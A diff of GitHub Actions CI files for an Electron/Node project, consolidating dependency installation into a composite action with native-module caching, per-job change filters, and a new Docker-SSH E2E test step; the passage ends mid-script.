diff --git a/.github/actions/install-node-dependencies/action.yml b/.github/actions/install-node-dependencies/action.yml
index 39cb1465852..8b7801881eb 100644
--- a/.github/actions/install-node-dependencies/action.yml
+++ b/.github/actions/install-node-dependencies/action.yml
@@ -1,5 +1,5 @@
 name: Install Node dependencies
-description: Installs the Node toolchain and repository dependencies for Linux CI jobs.
+description: Installs the Node toolchain and repository dependencies for CI jobs.
 
 inputs:
   native-runtime:
@@ -10,6 +10,18 @@ inputs:
     description: Node.js version override; defaults to the version declared in package.json.
     required: false
     default: ''
+  persist-native-cache:
+    description: Save restored native modules at job end. Set false when a later step overwrites the same path with a different ABI.
+    required: false
+    default: 'true'
+
+outputs:
+  node-version:
+    description: Resolved Node.js version used for the install.
+    value: ${{ steps.requested-node.outputs.node-version || steps.default-node.outputs.node-version }}
+  native-cache-scope:
+    description: Operating-system image scope used by the native module cache.
+    value: ${{ steps.native-cache-scope.outputs.scope }}
 
 runs:
   using: composite
@@ -18,6 +30,7 @@ runs:
     - name: Setup pnpm
       uses: pnpm/action-setup@v6
       with:
+        version: 10.24.0
         run_install: false
 
     - name: Setup Node.js
@@ -51,7 +64,7 @@ runs:
 
     # pnpm's bundled gyp_main.py is not executable on fresh Linux runners.
     - name: Use external node-gyp
-      if: inputs.native-runtime != 'none'
+      if: runner.os == 'Linux' && inputs.native-runtime != 'none'
       shell: bash
       run: |
         npm install -g node-gyp@11.5.0
@@ -74,18 +87,50 @@ runs:
       run: |
         pnpm install --frozen-lockfile --ignore-scripts
         # Job containers can run composite steps from a source mirror without .git.
-        git -C "$GITHUB_WORKSPACE" diff --exit-code -- package.json pnpm-lock.yaml
+        if [ "$(git -C "$GITHUB_WORKSPACE" rev-parse --is-inside-work-tree 2>/dev/null)" = true ]; then
+          git -C "$GITHUB_WORKSPACE" diff --exit-code -- package.json pnpm-lock.yaml
+        fi
 
     # Why cached: `--ignore-scripts` leaves node-pty without build/Release, so
     # ensure-native-runtime node-gyp-compiles it in every job that asks for a runtime.
     # The artifacts are ABI-bound, so the key carries the target runtime, the resolved
     # Node version, and the patch whose contents the build has to match.
-    - name: Restore compiled native modules
+    # Windows extra globs are empty on Linux. No restore-keys: a partial-match key is
+    # an ABI-mismatched build, and ensure-native-runtime would recompile it anyway.
+    # Native addons built on a newer Linux image can require glibc symbols
+    # missing from an older runner/container. ImageOS distinguishes hosted
+    # Windows/macOS images; /etc/os-release also distinguishes Linux containers.
+    - name: Resolve native cache scope
+      id: native-cache-scope
       if: inputs.native-runtime != 'none'
+      shell: bash
+      run: |
+        scope="${ImageOS:-$RUNNER_OS}"
+        if [ -r /etc/os-release ]; then
+          . /etc/os-release
+          scope="${ID:-linux}-${VERSION_ID:-unknown}"
+        fi
+        echo "scope=$scope" >> "$GITHUB_OUTPUT"
+
+    - name: Restore compiled native modules
+      if: inputs.native-runtime != 'none' && inputs.persist-native-cache != 'false'
       uses: actions/cache@v5
       with:
-        path: node_modules/.pnpm/node-pty@*/node_modules/node-pty/build
-        key: native-modules-${{ runner.os }}-${{ runner.arch }}-${{ inputs.native-runtime }}-node${{ steps.default-node.outputs.node-version }}${{ steps.requested-node.outputs.node-version }}-${{ hashFiles('pnpm-lock.yaml', 'config/patches/node-pty@1.1.0.patch') }}
+        path: |
+          node_modules/.pnpm/node-pty@*/node_modules/node-pty/build
+          node_modules/.pnpm/windows-native-registry@*/node_modules/windows-native-registry/build
+          node_modules/.pnpm/@vscode+windows-process-tree@*/node_modules/@vscode/windows-process-tree/build
+        key: native-modules-${{ runner.os }}-${{ steps.native-cache-scope.outputs.scope }}-${{ runner.arch }}-${{ inputs.native-runtime }}-node${{ steps.default-node.outputs.node-version }}${{ steps.requested-node.outputs.node-version }}-${{ hashFiles('pnpm-lock.yaml', '.github/actions/install-node-dependencies/action.yml', 'config/scripts/ensure-native-runtime.mjs', 'config/scripts/rebuild-native-deps.mjs', 'config/patches/node-pty@1.1.0.patch', 'config/patches/@vscode__windows-process-tree@0.8.0.patch') }}
+
+    - name: Restore compiled native modules without saving
+      if: inputs.native-runtime != 'none' && inputs.persist-native-cache == 'false'
+      uses: actions/cache/restore@v5
+      with:
+        path: |
+          node_modules/.pnpm/node-pty@*/node_modules/node-pty/build
+          node_modules/.pnpm/windows-native-registry@*/node_modules/windows-native-registry/build
+          node_modules/.pnpm/@vscode+windows-process-tree@*/node_modules/@vscode/windows-process-tree/build
+        key: native-modules-${{ runner.os }}-${{ steps.native-cache-scope.outputs.scope }}-${{ runner.arch }}-${{ inputs.native-runtime }}-node${{ steps.default-node.outputs.node-version }}${{ steps.requested-node.outputs.node-version }}-${{ hashFiles('pnpm-lock.yaml', '.github/actions/install-node-dependencies/action.yml', 'config/scripts/ensure-native-runtime.mjs', 'config/scripts/rebuild-native-deps.mjs', 'config/patches/node-pty@1.1.0.patch', 'config/patches/@vscode__windows-process-tree@0.8.0.patch') }}
 
     - name: Prepare native runtime
       if: inputs.native-runtime != 'none'
diff --git a/.github/workflows/computer-e2e.yml b/.github/workflows/computer-e2e.yml
index ab1c6ce687b..b24c8a52f2c 100644
--- a/.github/workflows/computer-e2e.yml
+++ b/.github/workflows/computer-e2e.yml
@@ -71,30 +71,17 @@ jobs:
       - uses: actions/checkout@v6
         with:
           persist-credentials: false
-      - uses: actions/setup-node@v6
-        with:
-          node-version-file: package.json
-      - uses: pnpm/action-setup@v6
-        with:
-          run_install: false
       - if: runner.os == 'Linux'
         run: sudo apt-get update && sudo apt-get install -y python3 python3-gi gir1.2-atspi-2.0 at-spi2-core gedit xvfb xclip xdotool
-      # Why: pnpm's bundled node-gyp can ship gyp_main.py without execute
-      # permission on Linux runners; node-pty's install fallback then fails
-      # before this smoke job can exercise the native package.
-      - name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
-        if: runner.os == 'Linux'
-        run: |
-          npm install -g node-gyp@11.5.0
-          echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
-      - run: pnpm install --frozen-lockfile
+      - uses: ./.github/actions/install-node-dependencies
+        with:
+          native-runtime: node
       # Why: without --config, bare vitest ignores config/vitest.config.ts (there
       # is no root config) and falls back to the 5s default timeout with no
       # Windows worker cap, so the real csc.exe launcher-compile tests time out
       # on hosted Windows. Use the shared config so this job matches pnpm test.
       - run: >-
           pnpm vitest run --config config/vitest.config.ts
-          config/scripts/build-windows-cli-launcher.test.mjs
           src/main/ssh/ssh-remote-cli-launcher.test.ts
           config/scripts/computer-e2e-workflow.test.mjs
           config/scripts/macos-computer-helper-owner-loss-group-recovery.test.mjs
@@ -159,13 +146,9 @@ jobs:
       - uses: actions/checkout@v6
         with:
           persist-credentials: false
-      - uses: actions/setup-node@v6
+      - uses: ./.github/actions/install-node-dependencies
         with:
-          node-version-file: package.json
-      - uses: pnpm/action-setup@v6
-        with:
-          run_install: false
-      - run: pnpm install --frozen-lockfile
+          native-runtime: electron
       - name: Owner-loss benchmark process cleanup
         run: >-
           pnpm vitest run
diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml
index 24c0ffa0e5b..00739f36350 100644
--- a/.github/workflows/e2e.yml
+++ b/.github/workflows/e2e.yml
@@ -17,6 +17,10 @@ on:
         description: JSON array of changed specs; empty runs the full suite
         required: false
         type: string
+      ssh_source_changed:
+        description: '"true" when the PR touches SSH execution source; gates the Docker-SSH lane'
+        required: false
+        type: string
   workflow_dispatch:
     inputs:
       ref:
@@ -40,36 +44,10 @@ jobs:
         with:
           ref: ${{ inputs.ref || github.ref }}
 
-      # Why: the E2E build compiles native modules via node-gyp. Mirrors the
-      # install step in pr.yml's verify job so E2E doesn't hit missing-toolchain
-      # errors.
-      - name: Install native build tools
-        run: sudo apt-get update && sudo apt-get install -y build-essential python3
-
-      # Why pnpm first: setup-node needs pnpm on PATH to locate the store it caches.
-      # Without that cache every E2E job re-downloaded the whole dependency set.
-      - name: Setup pnpm
-        uses: pnpm/action-setup@v6
+      # Why: the build's plain-Node daemon smoke load resolves node-pty.
+      - uses: ./.github/actions/install-node-dependencies
         with:
-          run_install: false
-
-      - name: Setup Node.js
-        uses: actions/setup-node@v6
-        with:
-          node-version-file: package.json
-          cache: pnpm
-
-      # Why: this job runs the same pnpm install path as pr.yml's verify
-      # job, so it needs the same pinned node-gyp override to avoid pnpm's
-      # broken bundled gyp_main.py on Linux.
-      - name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
-        if: runner.os == 'Linux'
-        run: |
-          npm install -g node-gyp@11.5.0
-          echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
-
-      - name: Install dependencies
-        run: pnpm install --frozen-lockfile
+          native-runtime: node
 
       # Why: building here avoids parallel builds inside Playwright globalSetup;
       # paired-browser specs also need the standalone web bundle.
@@ -130,11 +108,11 @@ jobs:
         with:
           ref: ${{ inputs.ref || github.ref }}
 
-      # Why: pnpm install rebuilds native modules, and those postinstall
-      # scripts still need the Linux toolchain even though this shard reuses
-      # the prebuilt Electron output.
+      # Why: pnpm install used to rebuild native modules here; the composite
+      # action restores them from cache and only compiles on a miss. The
+      # toolchain is still required for that miss path, and for paired Quick
+      # Open coverage which exercises the resource-bounded host search.
       - name: Install native build tools
-        # Why: paired Quick Open coverage exercises the resource-bounded host search.
         run: sudo apt-get update && sudo apt-get install -y build-essential fonts-noto-cjk python3 ripgrep zsh
 
       # Why: Electron on Linux needs an X display even when the app
@@ -143,33 +121,9 @@ jobs:
       - name: Install xvfb
         run: sudo apt-get install -y xvfb
 
-      # Why pnpm first: setup-node needs pnpm on PATH to locate the store it caches.
-      # Without that cache every E2E job re-downloaded the whole dependency set.
-      - name: Setup pnpm
-        uses: pnpm/action-setup@v6
+      - uses: ./.github/actions/install-node-dependencies
         with:
-          run_install: false
-
-      - name: Setup Node.js
-        uses: actions/setup-node@v6
-        with:
-          node-version-file: package.json
-          cache: pnpm
-
-      # Why: this job runs the same pnpm install path as pr.yml's verify
-      # job, so it needs the same pinned node-gyp override to avoid pnpm's
-      # broken bundled gyp_main.py on Linux. Gate on runner.os matches
-      # release.yml so the invariant "this workaround is Linux-only" is
-      # consistent across all three workflows, even though this job
-      # currently pins runs-on: ubuntu-latest.
-      - name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
-        if: runner.os == 'Linux'
-        run: |
-          npm install -g node-gyp@11.5.0
-          echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
-
-      - name: Install dependencies
-        run: pnpm install --frozen-lockfile
+          native-runtime: electron
 
       - name: Download E2E build output
         uses: actions/download-artifact@v8
@@ -222,25 +176,9 @@ jobs:
         # lane now receives those specs from pr.yml's SSH source mapping.
         run: sudo apt-get update && sudo apt-get install -y build-essential fonts-noto-cjk openssh-client python3 ripgrep xvfb zsh
 
-      # Why pnpm first: setup-node needs pnpm on PATH to locate the store it caches.
-      # Without that cache every E2E job re-downloaded the whole dependency set.
-      - name: Setup pnpm
-        uses: pnpm/action-setup@v6
+      - uses: ./.github/actions/install-node-dependencies
         with:
-          run_install: false
-      - name: Setup Node.js
-        uses: actions/setup-node@v6
-        with:
-          node-version-file: package.json
-          cache: pnpm
-
-      - name: Use external node-gyp to avoid pnpm's bundled copy
-        run: |
-          npm install -g node-gyp@11.5.0
-          echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
-
-      - name: Install dependencies
-        run: pnpm install --frozen-lockfile
+          native-runtime: electron
 
       - name: Download E2E build output
         uses: actions/download-artifact@v8
@@ -287,14 +225,21 @@ jobs:
   ssh-docker-watcher-isolation:
     name: ssh docker watcher isolation
     needs: build
+    # Why ssh_source_changed first: this lane used to trigger on SSH source only as a side
+    # effect of one route listing a startup-readiness spec — pruning that spec would have
+    # silently retired the whole lane. The signal is now derived from the SSH routes directly.
+    # The two spec clauses stay for their honest purpose: changed-e2e hands these specs to this
+    # lane, so editing one must still run it here.
     if: >-
       inputs.test_files == '' ||
+      inputs.ssh_source_changed == 'true' ||
       contains(inputs.test_files, 'tests/e2e/ssh-startup-exec-readiness.spec.ts') ||
       contains(inputs.test_files, 'tests/e2e/paired-startup-exec-readiness.spec.ts')
     runs-on: ubuntu-latest
-    # Why 35: the parking, retention, startup-exec, and paired parity specs run
-    # serially on isolated Electron/SSH fixtures after watcher isolation.
-    timeout-minutes: 35
+    # Why 60: this lane now also runs the remaining Docker-SSH specs serially. They average
+    # ~18s but several budget 4-10 minutes per test, so a slow run lands far above the old 35
+    # — and the sharded lanes already show that a lane which times out is a lane nobody trusts.
+    timeout-minutes: 60
 
     steps:
       - name: Checkout
@@ -305,29 +250,9 @@ jobs:
       - name: Install native build and headless UI tools
         run: sudo apt-get update && sudo apt-get install -y build-essential fonts-noto-cjk openssh-client python3 xvfb zsh
 
-      # Why pnpm first: setup-node needs pnpm on PATH to locate the store it caches.
-      # Without that cache every E2E job re-downloaded the whole dependency set.
-      - name: Setup pnpm
-        uses: pnpm/action-setup@v6
+      - uses: ./.github/actions/install-node-dependencies
         with:
-          run_install: false
-
-      - name: Setup Node.js
-        uses: actions/setup-node@v6
-        with:
-          node-version-file: package.json
-          cache: pnpm
-
-      # Why: same Linux-only node-gyp pin as build/e2e jobs so the workaround
-      # stays consistent across workflows even while this job is ubuntu-latest.
-      - name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
-        if: runner.os == 'Linux'
-        run: |
-          npm install -g node-gyp@11.5.0
-          echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
-
-      - name: Install dependencies
-        run: pnpm install --frozen-lockfile
+          native-runtime: electron
 
       - name: Download E2E build output
         uses: actions/download-artifact@v8
@@ -346,6 +271,14 @@ jobs:
         if: always()
         run: xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:ssh-docker-terminal-parking
 
+      # Why here rather than the sharded lanes: the shards set no ORCA_E2E_SSH_DOCKER, so every
+      # spec below skipped itself while the shard still reported green. Running them on this one
+      # VM pays the fixture image build once instead of ten times, and keeps an SSH regression
+      # legible as an SSH-named failure.
+      - name: Run remaining Docker SSH E2E
+        if: always()
+        run: xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:ssh-docker
+
       - name: Upload watcher isolation traces
         if: failure()
         uses: actions/upload-artifact@v7
diff --git a/.github/workflows/node-next-compat.yml b/.github/workflows/node-next-compat.yml
new file mode 100644
index 00000000000..eb9de70dab7
--- /dev/null
+++ b/.github/workflows/node-next-compat.yml
@@ -0,0 +1,20 @@
+name: Node next compatibility
+
+on:
+  schedule:
+    # Full future-runtime coverage is useful, but not worth doubling every PR matrix.
+    - cron: '0 10 * * *'
+  workflow_dispatch:
+
+concurrency:
+  group: node-next-compat
+  cancel-in-progress: true
+
+permissions:
+  contents: read
+
+jobs:
+  test:
+    uses: ./.github/workflows/unit-tests.yml
+    with:
+      node_versions: '["26"]'
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index a256da5112c..338bcda7dbd 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -16,15 +16,29 @@ permissions:
   contents: read
 
 jobs:
-  # Why: a README/docs-only PR used to start the full matrix (32 test shards,
+  # Why: a README/docs-only PR used to start the full matrix (test shards,
   # two package jobs, typecheck, git compat, xterm, shell contracts). Path
   # filters on `on.pull_request` would drop the `verify` check entirely; this
   # detector keeps verify as the required aggregate and skips the expensive jobs.
+  # Per-job outputs also skip git-compat/xterm/packaging/shell when those
+  # inputs are unchanged; empty diffs fail closed and run everything.
   code_paths:
     name: detect code-relevant changes
     runs-on: ubuntu-latest
     outputs:
       should_run: ${{ steps.filter.outputs.should_run }}
+      native_cache_changed: ${{ steps.filter.outputs.native_cache_changed }}
+      static_analysis: ${{ steps.filter.outputs.static_analysis }}
+      typecheck: ${{ steps.filter.outputs.typecheck }}
+      git_compatibility: ${{ steps.filter.outputs.git_compatibility }}
+      xterm_patch_sync: ${{ steps.filter.outputs.xterm_patch_sync }}
+      shell_contracts: ${{ steps.filter.outputs.shell_contracts }}
+      test: ${{ steps.filter.outputs.test }}
+      orcad_browser: ${{ steps.filter.outputs.orcad_browser }}
+      cross-version-wire: ${{ steps.filter.outputs.cross-version-wire }}
+      managed_hook_node18: ${{ steps.filter.outputs.managed_hook_node18 }}
+      package: ${{ steps.filter.outputs.package }}
+      package_windows: ${{ steps.filter.outputs.package_windows }}
     steps:
       - name: Checkout
         uses: actions/checkout@v6
@@ -48,14 +62,12 @@ jobs:
           CHANGED="$(git diff --name-only --no-renames --diff-filter=ACDMR --merge-base "$BASE_SHA" "$HEAD_SHA")"
           echo "Changed paths:"
           printf '%s\n' "$CHANGED"
-          SHOULD_RUN="$(printf '%s\n' "$CHANGED" | node config/scripts/pr-code-change-scope.mjs)"
-          echo "should_run=$SHOULD_RUN" >> "$GITHUB_OUTPUT"
-          echo "should_run=$SHOULD_RUN"
+          printf '%s\n' "$CHANGED" | node config/scripts/pr-code-change-scope.mjs | tee -a "$GITHUB_OUTPUT"
 
   static_analysis:
     name: static analysis
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.static_analysis == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -70,6 +82,8 @@ jobs:
           persist-credentials: false
 
       - uses: ./.github/actions/install-node-dependencies
+        with:
+          native-runtime: node
 
       - name: Lint
         run: pnpm exec oxlint --format github
@@ -188,7 +202,7 @@ jobs:
 
   typecheck:
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.typecheck == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -216,7 +230,7 @@ jobs:
   git_compatibility:
     name: Git compatibility
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.git_compatibility == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -283,7 +297,7 @@ jobs:
   xterm_patch_sync:
     name: xterm patch sync
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.xterm_patch_sync == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -313,7 +327,7 @@ jobs:
   shell_contracts:
     name: shell contracts
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.shell_contracts == 'true'
     runs-on: ubuntu-latest
     # Why: this job's cost is almost entirely package download, and a stalled mirror has
     # no wall-clock bound of its own. A successful run finishes in ~4.5 minutes, so this
@@ -429,17 +443,13 @@ jobs:
             src/shared/startup-shell-portability.live-shell.test.ts \
             src/shared/posix-command-path-lookup.test.ts
 
-  test:
-    name: tests node ${{ matrix.node }} ${{ matrix.shard }}/${{ matrix.shard_total }}
+  # Cache-key input changes would otherwise make every shard compile the same
+  # native addon concurrently. Prime the supported Node ABI before the matrix fans out.
+  test_native_cache:
+    name: prepare test native cache node 24
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.native_cache_changed == 'true'
     runs-on: ubuntu-latest
-    strategy:
-      fail-fast: false
-      matrix:
-        node: ['24', '26']
-        shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
-        shard_total: [16]
 
     steps:
       - name: Checkout
@@ -450,39 +460,24 @@ jobs:
       - uses: ./.github/actions/install-node-dependencies
         with:
           native-runtime: node
-          node-version: ${{ matrix.node }}
+          node-version: '24'
 
-      - name: Install Electron package binary for tests
-        run: node config/scripts/install-electron-package-binary.mjs
+  test:
+    needs: [code_paths, test_native_cache]
+    if: >-
+      always() &&
+      needs.code_paths.outputs.test == 'true' &&
+      (needs.test_native_cache.result == 'success' || needs.test_native_cache.result == 'skipped')
+    uses: ./.github/workflows/unit-tests.yml
+    with:
+      node_versions: '["24"]'
 
-      - name: Test shard
-        run: |
-          pnpm exec vitest run --config config/vitest.config.ts \
-            --exclude=src/main/daemon/repro-13767-shell-ready-marker-lost-to-exec.test.ts \
-            --exclude=src/main/daemon/shell-ready.test.ts \
-            --exclude=src/main/daemon/node-pty-fd-leak.test.ts \
-            --exclude=src/main/providers/local-pty-shell-ready-zsh-launch-environment.test.ts \
-            --exclude=src/main/providers/__tests__/shell-ready-framework-example.test.ts \
-            --exclude=src/main/pty/omp-shell-wrapper.node-pty.test.ts \
-            --exclude=src/main/shell-startup-feature-channel.test.ts \
-            --exclude=src/main/terminal-history-fish-session.node-pty.test.ts \
-            --exclude=src/main/zsh-scoped-histfile.live-shell.test.ts \
-            --exclude=src/main/zsh-startup-hook-user-config-equivalence.live-shell.test.ts \
-            --exclude=src/main/zsh-wrapper-version-mismatch.live-shell.test.ts \
-            --exclude=src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts \
-            --exclude=src/shared/fish-query-reply-child-stdin.node-pty.test.ts \
-            --exclude=src/shared/pty-reply-echo-shapes.node-pty.test.ts \
-            --exclude=src/shared/startup-shell-portability.live-shell.test.ts \
-            --exclude=src/shared/posix-command-path-lookup.test.ts \
-            --exclude=tests/e2e/cross-version-wire/** \
-            --shard=${{ matrix.shard }}/${{ matrix.shard_total }}
-
-  # Why a separate job: the test needs a real Chrome, and the 32-way `test` matrix
-  # would pay for it 32 times to run one file in whichever shard it landed in.
+  # Why a separate job: the test needs a real Chrome, and the sharded `test` matrix
+  # would pay for it on every shard to run one file in whichever shard it landed in.
   orcad_browser:
     name: orcad browser provider
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.orcad_browser == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -518,7 +513,7 @@ jobs:
   cross-version-wire:
     name: cross-version wire compatibility
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.cross-version-wire == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -550,7 +545,7 @@ jobs:
   managed_hook_node18:
     name: managed hooks on Node 18
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.managed_hook_node18 == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -575,7 +570,7 @@ jobs:
   package:
     name: package
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.package == 'true'
     runs-on: ubuntu-latest
 
     steps:
@@ -647,7 +642,7 @@ jobs:
   package_windows:
     name: package (windows)
     needs: [code_paths]
-    if: needs.code_paths.outputs.should_run == 'true'
+    if: needs.code_paths.outputs.package_windows == 'true'
     runs-on: windows-2022
     timeout-minutes: 30
 
@@ -657,17 +652,6 @@ jobs:
         with:
           persist-credentials: false
 
-      - name: Setup pnpm
-        uses: pnpm/action-setup@v6
-        with:
-          run_install: false
-
-      - name: Setup Node.js
-        uses: actions/setup-node@v6
-        with:
-          node-version-file: package.json
-          cache: pnpm
-
       - name: Cache electron-builder downloads
         uses: actions/cache@v5
         with:
@@ -678,18 +662,22 @@ jobs:
           restore-keys: |
             electron-builder-windows-
 
-      - name: Install dependencies
-        run: pnpm install --frozen-lockfile
+      # Why persist-native-cache false: this job later rebuilds the same path for
+      # Electron. A post-job save would store the Electron ABI under the Node key.
+      - uses: ./.github/actions/install-node-dependencies
+        id: deps
+        with:
+          native-runtime: node
+          persist-native-cache: 'false'
 
-      # Why: node-pty prefers its upstream prebuild, which does not contain
-      # Orca's Windows patch, so the job-object exports would be absent and the
-      # suite below would test an unpatched binary. build_from_source removes
-      # the prebuild, and the package's postinstall restores the ConPTY runtime
-      # files that a bare node-gyp rebuild would miss.
-      - name: Rebuild node-pty from patched source
-        env:
-          npm_config_build_from_source: 'true'
-        run: pnpm rebuild node-pty
+      - name: Save compiled Node native modules
+        uses: actions/cache/save@v5
+        with:
+          path: |
+            node_modules/.pnpm/node-pty@*/node_modules/node-pty/build
+            node_modules/.pnpm/windows-native-registry@*/node_modules/windows-native-registry/build
+            node_modules/.pnpm/@vscode+windows-process-tree@*/node_modules/@vscode/windows-process-tree/build
+          key: native-modules-${{ runner.os }}-${{ steps.deps.outputs.native-cache-scope }}-${{ runner.arch }}-node-node${{ steps.deps.outputs.node-version }}-${{ hashFiles('pnpm-lock.yaml', '.github/actions/install-node-dependencies/action.yml', 'config/scripts/ensure-native-runtime.mjs', 'config/scripts/rebuild-native-deps.mjs', 'config/patches/node-pty@1.1.0.patch', 'config/patches/@vscode__windows-process-tree@0.8.0.patch') }}
 
       - name: Test Windows-specific boundaries
         run: >-
@@ -724,9 +712,26 @@ jobs:
       # Why the :parallel variant: identical to build:release except the three
       # electron-vite targets overlap instead of running back to back. The Linux package
       # job already packages and smoke-tests an AppImage built that way.
+      - name: Cache Windows CLI launcher
+        uses: actions/cache@v5
+        with:
+          path: native/windows-cli-launcher/.build
+          key: windows-cli-launcher-${{ runner.os }}-${{ runner.arch }}-${{ hashFiles('native/windows-cli-launcher/**', 'config/scripts/build-windows-cli-launcher.mjs') }}
+
       - name: Build package inputs
+        env:
+          ORCA_REUSE_WINDOWS_CLI_LAUNCHER: '1'
         run: pnpm run build:release:parallel
 
+      - name: Restore compiled Electron native modules
+        uses: actions/cache@v5
+        with:
+          path: |
+            node_modules/.pnpm/node-pty@*/node_modules/node-pty/build
+            node_modules/.pnpm/windows-native-registry@*/node_modules/windows-native-registry/build
+            node_modules/.pnpm/@vscode+windows-process-tree@*/node_modules/@vscode/windows-process-tree/build
+          key: native-modules-${{ runner.os }}-${{ steps.deps.outputs.native-cache-scope }}-${{ runner.arch }}-electron-node${{ steps.deps.outputs.node-version }}-${{ hashFiles('pnpm-lock.yaml', '.github/actions/install-node-dependencies/action.yml', 'config/scripts/ensure-native-runtime.mjs', 'config/scripts/rebuild-native-deps.mjs', 'config/patches/node-pty@1.1.0.patch', 'config/patches/@vscode__windows-process-tree@0.8.0.patch') }}
+
       - name: Prepare Electron native runtime
         run: node config/scripts/ensure-native-runtime.mjs --runtime=electron
 
@@ -754,6 +759,7 @@ jobs:
     outputs:
       should_run: ${{ steps.filter.outputs.should_run }}
       test_files: ${{ steps.filter.outputs.test_files }}
+      ssh_source_changed: ${{ steps.filter.outputs.ssh_source_changed }}
     steps:
       - name: Checkout
         uses: actions/checkout@v6
@@ -776,6 +782,11 @@ jobs:
           # authorities, exclusions, and sentinels without evaluating workflow shell.
           TEST_FILES_JSON="$(printf '%s\n' "$CHANGED" | node config/scripts/pr-e2e-source-routing.mjs)"
           echo "test_files=$TEST_FILES_JSON" >> "$GITHUB_OUTPUT"
+          # Why a separate signal: the Docker-SSH lane must trigger on SSH source, not on a
+          # spec name surviving in a route's list. Same routes, so the two cannot drift.
+          SSH_SOURCE_CHANGED="$(printf '%s\n' "$CHANGED" | node config/scripts/pr-e2e-source-routing.mjs --ssh-source)"
+          echo "ssh_source_changed=$SSH_SOURCE_CHANGED" >> "$GITHUB_OUTPUT"
+          echo "SSH source changed: $SSH_SOURCE_CHANGED"
           if [ "$TEST_FILES_JSON" != '[]' ]; then
             echo "should_run=true" >> "$GITHUB_OUTPUT"
             echo "Changed E2E specs: $TEST_FILES_JSON"
@@ -794,6 +805,7 @@ jobs:
     uses: ./.github/workflows/e2e.yml
     with:
       test_files: ${{ needs.e2e-paths.outputs.test_files }}
+      ssh_source_changed: ${{ needs.e2e-paths.outputs.ssh_source_changed }}
 
   verify:
     if: always()
@@ -807,6 +819,7 @@ jobs:
       - shell_contracts
       - test
       - orcad_browser
+      - cross-version-wire
       - managed_hook_node18
       - package
       - package_windows
@@ -826,57 +839,63 @@ jobs:
           CODE_PATHS: ${{ needs.code_paths.result }}
           SHOULD_RUN: ${{ needs.code_paths.outputs.should_run }}
           STATIC_ANALYSIS: ${{ needs.static_analysis.result }}
+          STATIC_ANALYSIS_SHOULD_RUN: ${{ needs.code_paths.outputs.static_analysis }}
           ROOT_DIRECTORY_GUARD: ${{ needs.root_directory_guard.result }}
           TYPECHECK: ${{ needs.typecheck.result }}
+          TYPECHECK_SHOULD_RUN: ${{ needs.code_paths.outputs.typecheck }}
           GIT_COMPATIBILITY: ${{ needs.git_compatibility.result }}
+          GIT_COMPATIBILITY_SHOULD_RUN: ${{ needs.code_paths.outputs.git_compatibility }}
           XTERM_PATCH_SYNC: ${{ needs.xterm_patch_sync.result }}
+          XTERM_PATCH_SYNC_SHOULD_RUN: ${{ needs.code_paths.outputs.xterm_patch_sync }}
           SHELL_CONTRACTS: ${{ needs.shell_contracts.result }}
+          SHELL_CONTRACTS_SHOULD_RUN: ${{ needs.code_paths.outputs.shell_contracts }}
           TEST: ${{ needs.test.result }}
+          TEST_SHOULD_RUN: ${{ needs.code_paths.outputs.test }}
           ORCAD_BROWSER: ${{ needs.orcad_browser.result }}
+          ORCAD_BROWSER_SHOULD_RUN: ${{ needs.code_paths.outputs.orcad_browser }}
+          CROSS_VERSION_WIRE: ${{ needs.cross-version-wire.result }}
+          CROSS_VERSION_WIRE_SHOULD_RUN: ${{ needs.code_paths.outputs.cross-version-wire }}
           MANAGED_HOOK_NODE18: ${{ needs.managed_hook_node18.result }}
+          MANAGED_HOOK_NODE18_SHOULD_RUN: ${{ needs.code_paths.outputs.managed_hook_node18 }}
           PACKAGE: ${{ needs.package.result }}
+          PACKAGE_SHOULD_RUN: ${{ needs.code_paths.outputs.package }}
           PACKAGE_WINDOWS: ${{ needs.package_windows.result }}
+          PACKAGE_WINDOWS_SHOULD_RUN: ${{ needs.code_paths.outputs.package_windows }}
         run: |
           if [ "$CODE_PATHS" != "success" ]; then
